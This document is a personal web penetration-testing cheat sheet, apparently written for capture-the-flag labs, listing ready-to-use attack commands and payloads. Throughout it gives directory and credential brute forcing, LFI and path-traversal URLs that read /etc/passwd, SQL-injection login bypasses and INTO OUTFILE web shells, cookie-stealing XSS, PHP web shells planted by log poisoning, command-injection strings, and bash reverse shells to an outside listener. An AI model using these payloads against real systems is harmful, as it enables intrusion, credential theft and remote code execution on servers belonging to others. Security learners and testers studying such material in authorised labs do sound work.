mxweb

=================================== 
Prep
sudo vim /etc/hosts
export URL="http://backdoor.htb"
export medium="/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt"

Scans
dirb $URL
dirb $URL /usr/share/dirb/wordlists/vulns/apache.txt
dirsearch -u $URL -w $medium -e ,,txt,cfg,html,php,bak -t 50
dirsearch -u $URL -w $medium -e ,,txt,cfg,bak,html,php,asp,aspx -r -f -t 50 -x 400
gobuster -u $URL -w $mediumdirs -x txt,php,html,zip -t 40
whatweb --color=always --no-errors -a 3 -v 192.168.200.5
nikto -host $URL 

Host
echo 192.168.200.5 dcbob | sudo tee -a /etc/hosts
export URL="http://dcbob:80/"  

WFUZZ - Fast!!  (hh-hide chars)
export URL="http://bob.htb"  
wfuzz -c -z file,$mediumfiles --hc 404 --hh 4772 -u $URL/FUZZ
wfuzz -c -z file,$mediumdirs --hc 404 --hh 4772 -u $URL/FUZZ/
wfuzz -c -Z -w $subtopmill -t 42 --hl 1 -u $URL -H 'Host: FUZZ.bob.htb' --hh 33560
gobuster dns -d site.com -i -w $subtopmill --wildcard

WFUZZ URL
export URL="http://dcbob:80/listproducts.php?cat=FUZZ"  
wfuzz -z range,0-10 --hl 97 "$URL"

Bust IIS
gobuster -k -u $URL -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 50 

Wordpress Plugins/Themes
wpscan --url $URL --disable-tls-checks --enumerate p --enumerate t 

Wordpress Users  
wpscan --url $URL --disable-tls-checks --enumerate u 
echo tom > users 
echo jerry >> users 

Wordpress Favorite
wpscan --url $URL -e ap,at,u --plugins-detection aggressive --api-token $wptoken | tee wp-aggro.results
grep -e '[!]\|[+]' wp-aggro.results

Wordpress Brute Force 
cewl $URL -m 5 -w cewl.txt 2>/dev/null 
wpscan --url $URL --disable-tls-checks -U users -P cewl.txt/$rockyou 


=================================== 
Summary

Follow links, paths
Find clues, usernames, passwords, Login/Admin pages
Login defaults/guessing 
Burp - Can find secret redirects 
Find Forms, Inputs, PHP, CGI, SQLi, Command Injections
Version of package (Wordpress, Drupal, Etc) for Exploits

=================================== 
Quick Checks

ssl certificate - user/email/vhosts - Juicy!!
Cookie Manager - Might have 'Admin'
Wappalyzer - technology

=================================== 
Browse 

Follow links, paths, clues
View Source (Ctrl-U)
Find package type (Wordpress, Drupal, etc)
Custom Error Pages = App Hint
Hidden comments
Tweak Comments: Firefox > Inspect Element > R.Click "Edit as HTML" 

http://192.168.200.5
https://192.168.200.5 
https://192.168.200.5:8080 
https://192.168.200.5:8080/robots.txt 
https://192.168.200.5:8080/~mike
https://192.168.200.5:8080/servername

curl -A "GoogleBot" 192.168.200.5 
curl -i 192.168.200.5             ..headers
curl -iL 192.168.200.5            ..redirects
curl -iL http://192.168.200.5     ..bypass WAF
curl -v –request OPTIONS http://  ..WebDAV Options


=================================== 
Version Exploits 

curl http://192.168.200.5 | html2text | grep -i 'ver\|release\|build\|\|user\|pass\|comment' 
google 'coldfusion 8 exploits'
searchsploit/exploitdb/blogs/github 
Known: LFI - SQLi - Directory Traversal 
EternalBlue/Shellshock/Heartbleed (Well-Known) 
Remote Code Execution (RCE) 
CRM/Wordpress= Vulns, Addon, Upload, Theme 

=================================== 
Web-Form "Send us a message"
<img src="http://192.168.162.46/test"></img>
<a href="http://192.168.162.46/">clickme</a>
sudo nc -nvlp 80 ...See if we get a respone, or click


=================================== 
Admin/Logins

admin admin
admin password
admin <blank>
admin <servicename>
<servicename> <servicename>
root root
root admin
root password
root <servicename>
<username> password
<username> admin
<username> username
username <servicename>
(Google Default Password)

=================================== 
More Creds

Reuse - If you found user/pass
Hydra - Brute Force (if you have username) 
Google - FileZilla Authentication Bypass
Google - FileZilla SQLIi bypass

===================================
Download

wget 192.168.200.5
wget -r 192.168.200.5
wget -r 192.168.200.5/secrets
wget -r -l inf -A txt,bmp,png,jpg,jpeg,doc,docx,xls,xlsx,ppt,pptx,pdf,cfg,conf,config,sql,py https://192.168.200.5


===================================
Metadata

grep -ir password ./*
grep -ir ".pdf\|.doc\|.xls\|.pdf\|.ppt\|.jp\|.bmp\|.png\|.txt\|x$" ./

find ./* -name "*.doc*"
find ./* -name '*config*' -exec grep -H 'pass' {} \;

exiftool -g1 secrets.xlsx -w %f_exif.txt
exiftool -filename -gpslatitude -gpslongitude -T images/  > gps.txt
exiftool -overwrite_original -all= -ext jpg -ext jpeg -ext png -ext bmp .
exiftool -csv -CreateDate -Keywords -r -ext jpg /full/path/folder > results.csv

FOCA Scrapes
https://github.com/ElevenPaths/FOCA
FOCA > Menu > New Project > Create > Drag Folder > Extract All Metadata > Save Log

===================================
Redirects

Account-Create > Redirect to login.php
Might be able to Force Creation through Burp
Capture with Burp. HTTP History. Send to Repeater.
Change to POST, Add Parameters.
username=mike&password=helps&confirm=helps

=================================== 
LFI

Watch for path that looks like a file/folder
File/Folders in Path  = Directory Traversal
path/slash/files/../  = LocalFileInclusion 

http://web/menu.php?file=menu.php
http://web/menu.php?file=./menu.php
http://web/dept/?lang=/etc/passwd
http://web/dept/manage.php?notes=files/comments.txt 
http://web/dept/?lang=/windows/system32/drivers/etc/hosts 
http://web/dept/?lang=\\192.168.162.46\hello.txt   
http://web/dept/?lang=../../../../etc/passwd
http://web/dept/?lang=../hubot/.env

LFI to PROC Script
https://0xdf.gitlab.io/2022/04/23/htb-backdoor.html#bash-script
http://web/dept/?lang=../../../../proc/self/cmdline
http://web/dept/?lang=../../../../proc/self/environ
http://web/dept/?lang=../../../../proc/955/cmdline


Poison
../../../../../../var/log/auth
../../../../../../var/log/auth.log
../../../../../../var/log/apache2/access.log
../../../../../../xampp/apache/logs/access.log

LFI Automation: 
git clone https://github.com/D35m0nd142/LFISuite.git
cd LFISuite
sudo python2.7 ./lfisuite.py
http://192.168.200.5/cyber.php?page=

=================================== 
NULL bytes - Can help retrieve Files

http://192.168.200.5/file.php?file=photo                 .. ok 
http://192.168.200.5/file.php?file=photo.png             .. nothing 
http://192.168.200.5/file.php?file=photo.png%00          .. ok 
http://192.168.200.5/file.php?file=file.php%00           .. ok 
http://192.168.200.5/file.php?file=/../../etc/passwd%00  .. win 
 

=================================== 
Inspect Page Content 

Settings > Web Dev > Debugger (Ctrl-Shift-K) 
Resources, comments, controls, JavaScript, hidden inputs 
Firefox > PrettyPrint {} (bottom-button) 

Inspector 
Finds hidden html fields 
Email address Field > R.Click Inspect Element 


===================================  
Server Response 

View Requests and Responses 
Firefox “Network” Tool (Tab) 
Web Developer > Network 
Refresh page ..to see new traffic to the 'Contact' page 
Click Contact.html 'get' request - Headers > Server Version! 

=================================== 
Headers 

Non-standard Headers start with 'X-'
X-Powered-By, x-amz-cf-id, X-Aspnet-Version 
These names could reveal additional information for exploit 
Ex: 'x-amz-cf-id' header = Application uses Amazon CloudFront 


=================================== 
Input fields - Interpreted or Scrubbed?

'
1+1
aaaaaaaaaaaaaaaaa... 
hello " ; < >
 < > ' " { } ;  
<img>
<script>alert(1);</script>
<ScRiPt>alert(1);</ScRiPt>
"><script>alert(1)</script>
<img src="x" onerror="alert(1);">
<img src=x onerror=alert()>
<svg/onload = alert(1);>
<?php echo('Hello World'); ?>
<?php system($_GET["cmd"]); ?>
<?php echo system($_REQUEST ["cmd"]); ?>
(function(){ 
   return 2+2;
})();

=================================== 
Brute for XSS (Tags & Events)

'Search Field' for XSS
<img>   .."tag is not allowed"
<img src=1 onerror=print()>
GET /?search=%3C§img§%3E HTTP/2
Burp > Intruder > Attack for tags that work
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
<body onerror=>      ..Error "Attribute is not allowed"
<body §onerror§=>    ..Attack the Events from Portswigger
%3Cbody+§onerror§%3D%3E  ..url encoded
<body onresize=>         .."onresize" was allowed!
<body onresize=alert(document.cookie)>
Final exploit.. Send a link/email to target/user
<iframe src="https://server/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

=================================== 
Burp Scan

Will find DOM XSS and give a POC
Will locate a SQLi and then you feed it to SQLMap

=================================== 
Login Bypass

' or 1=1 -- 
' or 1=1 -- -
" or 1=1 --  
' or 1=1;# 
" or 1=1 #  
' or '1=1' --
' or 1=1; LIMIT 1;# 
' or username LIKE '%admin% 
admin' -- 

USER: ' OR 1=1; /* 
PASS: */-- 

USER:  ' or 1/* 
PASS:  */ =1 -- 

USER: admin' or 1=1 # 
PASS: admin' or 1=1 #  

http://mongo/?username=admin' or 1=1--%00 
http://mongo/?username=admin&password=admin&submit=Submit 
http://mongo/?username=admin&password=admin&submit=Submit' or 1=1 -- 

=================================== 
Nginx + Tomcat Path Normalization Bypass Trick

http://site/manager/
http://site/;name=hello/manager/
http://site/app/test.html
http://site/app/..;/manager/
http://site/app/..;/index.jsp
http://site/app/..;/app2/secret.html


=================================== 
User Creation Page

You might be able to register with an odd pattern, but get admin prvis
admin
AdMiN 

Before Creating a user.. Send to Burp
Might find an Admin parameter


=================================== 
Name Field injection 

Injecting the 'name' login field could give command injection 
Custom messages aren't vulnerable to command injection, but your 'name' might be. 

"\";whoami\n"
"\" ;id\n"
"\" ;/usr/bin/id\n"
"\" \n/usr/bin/id\n"
"\";ls -la\n"
"\" \n/bin/ls -al\n"
\n-- COW MASTER && WHOAMI  
echo -e "hello\n-- COW MASTER && WHOAMI" | cowsay 
echo -e "hola\n-- COW " && ECHO -E "ME"#" | cowsay 

Reverse Shell
bash -i >& /dev/tcp/<ip>/<port> 0>&1  (first convert base64)
"\" \necho <base64> | base64 -d | bash\n"
"\";echo YmFzaCAta4mMQo= | base64 -d | bash \n"


=================================== 
Brute

Login hydra (especially if you have username) 
Consider geisha - 4 websites, 1 username, all rabbit-holes.. hydra gets SSH
Burp Pw Guess (even with protections) 

REF: mxbrutes

=================================== 
Scrape

cewl 192.168.200.5 -n -e --email_file emails2.txt -v
cewl 192.168.200.5 -m 4 -d 3 -w cewl6deep5.txt 
sort dict.txt | uniq > dict.txt  
echo 'foundthis' >> dict.txt               
echo 'hostname' >> dict.txt   

=================================== 
Upload Check

curl -v -X OPTIONS http://192.168.200.5/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://192.168.200.5/test/shell.php


=================================== 
SQL Injection - Forms/Search/PHP/CMS

' 
" 
; 
',convert(int@@version))-- 
' AND 1=2 UNION SELECT database(),user(),version() -- 
' AND 1=2 UNION SELECT "/etc/passwd","b","c"--'  
' UNION SELECT ("test") INTO OUTFILE 'C:/xampp/htdocs/test.php'  -- -'  
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php'  -- -'


=================================== 
PHP SQLi Parameter

Parameters in URL might be a finding
View Page Source > Ctrl-F "?"  
curl http://192.168.200.5 | html2text | grep -i '?' 
http://192.168.200.5/room.php?cod=1'
Error/no-graphic = We have injection


=================================== 
Cookies  

Tools > Developer > Application > Cookies 
Or Browser Extension  
For yes-no or admin flags  
For username (ex: auth=webuser) 
Update to 'admin' to elevate! 

MD5: 
62318aca2ef2e809a13623715a8aaff4   ..testme 
21232f297a57a5a743894a0e4a801fc3   ..admin 
echo -ne admin | md5sum            ..ne prevents new-line-dump 

Base64
ZGVmYXVsdA%3D%3D
ZGVmYXVsdA==
echo ZGVmYXVsdA== | base64 -d      ..default 
echo -n admin | base64
YWRtaW4=                           ..admin

=================================== 
NULL bytes

http://abc.so/file.php?file=photo                 .. ok 
http://abc.so/file.php?file=photo.png             .. nothing 
http://abc.so/file.php?file=photo.png%00          .. ok 
http://abc.so/file.php?file=file.php%00           .. ok 
http://abc.so/file.php?file=/../../etc/passwd%00  .. win 

=================================== 
"Enter URL"

Googleish-Search-Menu = SSRF
http://192.168.200.5/?url=http://whatever.com
http://192.168.200.5/?url=http://192.168.162.46/me
python3 -m http.server 80
sudo responder -I tun0 
john responder.hash --wordlist=$rockyou  


=================================== 
Web Log Poison

nc 192.168.200.5 80
GET /<?php system($_GET['cmd']); ?>
GET /<?php echo shell_exec($_GET['cmd']); ?> HTTP/1.1

curl http://192.168.200.5/menu.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=whoami 
curl http://192.168.200.5/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig
curl http://192.168.200.5/menu.php?page=../../../../../var/log/apache2/access.log&cmd=id

=================================== 
SSH Log Poison

ssh "<?php phpinfo();?>"@192.168.200.5
ssh '<?php system($_GET ["cmd"]);?>'@192.168.200.5

curl http://192.168.200.5/view.php?page=../../../../../var/log/auth.log
curl http://192.168.200.5/page.php?file=../../../../../../../var/log/auth
http://192.168.200.5/page.php?file=../../../../../../../var/log/auth?cmd=id
http://192.168.200.5/page.php?file=../../../../../../../var/log/auth?cmd=cat /etc/passwd

Reverse
cmd=bash -c 'bash -i >& /dev/tcp/192.168.162.46/80 0>&1'  ..urlencode


=================================== 
Bypass execution with base64 filter

http://192.168.200.5/index.php?page=php://filter/convert.base64-encode/resource=index 
base64 -d savefile.php


=================================== 
Injections

http://192.168.200.5/?ip=127.0.0.1 
http://192.168.200.5/?ip=127.0.0.1;pwd 
http://192.168.200.5/?ip=127.0.0.1;uname 
http://192.168.200.5/?ip=127.0.0.1;cat /etc/passwd 
http://192.168.200.5/?ip=127.0.0.1;/usr/local/bin/score 
http://192.168.200.5/?ip=127.0.0.1%26%26uname   ..&& 
http://192.168.200.5/?ip=127||uname             ..fail and run 
http://192.168.200.5/?ip=`uname`                ..back-ticks get priority 
http://192.168.200.5/?ip=`/tmp/myApp`           ..my app 
http://192.168.200.5/ping.php?cmd=192.168.162.46;python3%20-c%20%27import...
 
More
cmd;ping -c 1 192.168.162.46 
cmd;ping -c 1 192.168.162.46;  
cmd|ping -c 1 192.168.162.46  
cmd`ping -c 1 192.168.162.46`  
cmd`/usr/bin/ping -c 1 192.168.162.46`  
cmd$(/usr/bin/ping -c 1 192.168.162.46)  

cmd=ls&job=Run                            ..Original 
cmd=ls -la&job=Run                        ..Updated 
cmd=cat /etc/passwd&job=Run               ..new command 
cmd=ls -la & cat /etc/passwd&job=Run      ..Combo 
cmd=-o /path/test.html http://IP/test.html&Submit=Go ..switch(works w/curl) 
cmd=ls&&bash -c 'bash -i >& /dev/tcp/192.168.162.46/443 0>&1' 

Commands Blocked - Try $()
http://192.168.200.5/?ip=`uname`                    ..error 
http://192.168.200.5/?ip=$(uname)                   ..ok, but blind 
http://192.168.200.5/?ip=$(curl https://me/hack)    ..watch logs to see if connect 
http://192.168.200.5/?ip=$(ping hack.myserver)      ..watch dns for request 
http://192.168.200.5/?ip=$(sleep 20)                ..took 20 sec - so it works! 
http://192.168.200.5/?ip=$(/usr/local/bin/myApp)    ..blind! 

Python Injections
http://192.168.200.5/hack 
http://192.168.200.5/hack"+"yes"+"
http://192.168.200.5/hack"+str(__import__('os').system('id'))+"

Perl
http://192.168.200.5/cgi-bin/hello?name=hack 
http://192.168.200.5/cgi-bin/hello?name=hack'.`uname -a`.' 

Login Bypass
http://mongo.so/?username=admin' or 1=1--%00 
http://mongo.so/?username=admin&password=admin&submit=Submit 
http://mongo.so/?username=admin&password=admin&submit=Submit' or 1=1 -- 

=================================== 
Common Web Roots (FYI)

/var/www/ 
/var/www/html/ 
/srv/www/ 
/home/public_html/ 
/etc/apache2/       ..Apache/Debian 
/etc/httpd/         ..CentOS 

=================================== 
Other

Upload-Pages are full of holes
Burp to find secret pages 

=================================== 
Web-Sockets

Burp can capture these. Watch for "Chat" activity.
{"message":""}
{"user":"You","Content:"&lt;"}             ..intercept
{"message":"<img src=x onerror=alert()>"}  ..inject xss

=================================== 
Rabbits

Getting nowhere?
Even if you a login, this may still be a rabbit hole.
Go back - Explore all of your open-services from NMAP.

=================================== 
Consider
mxnmap mxcurls mxsqli mxbrutes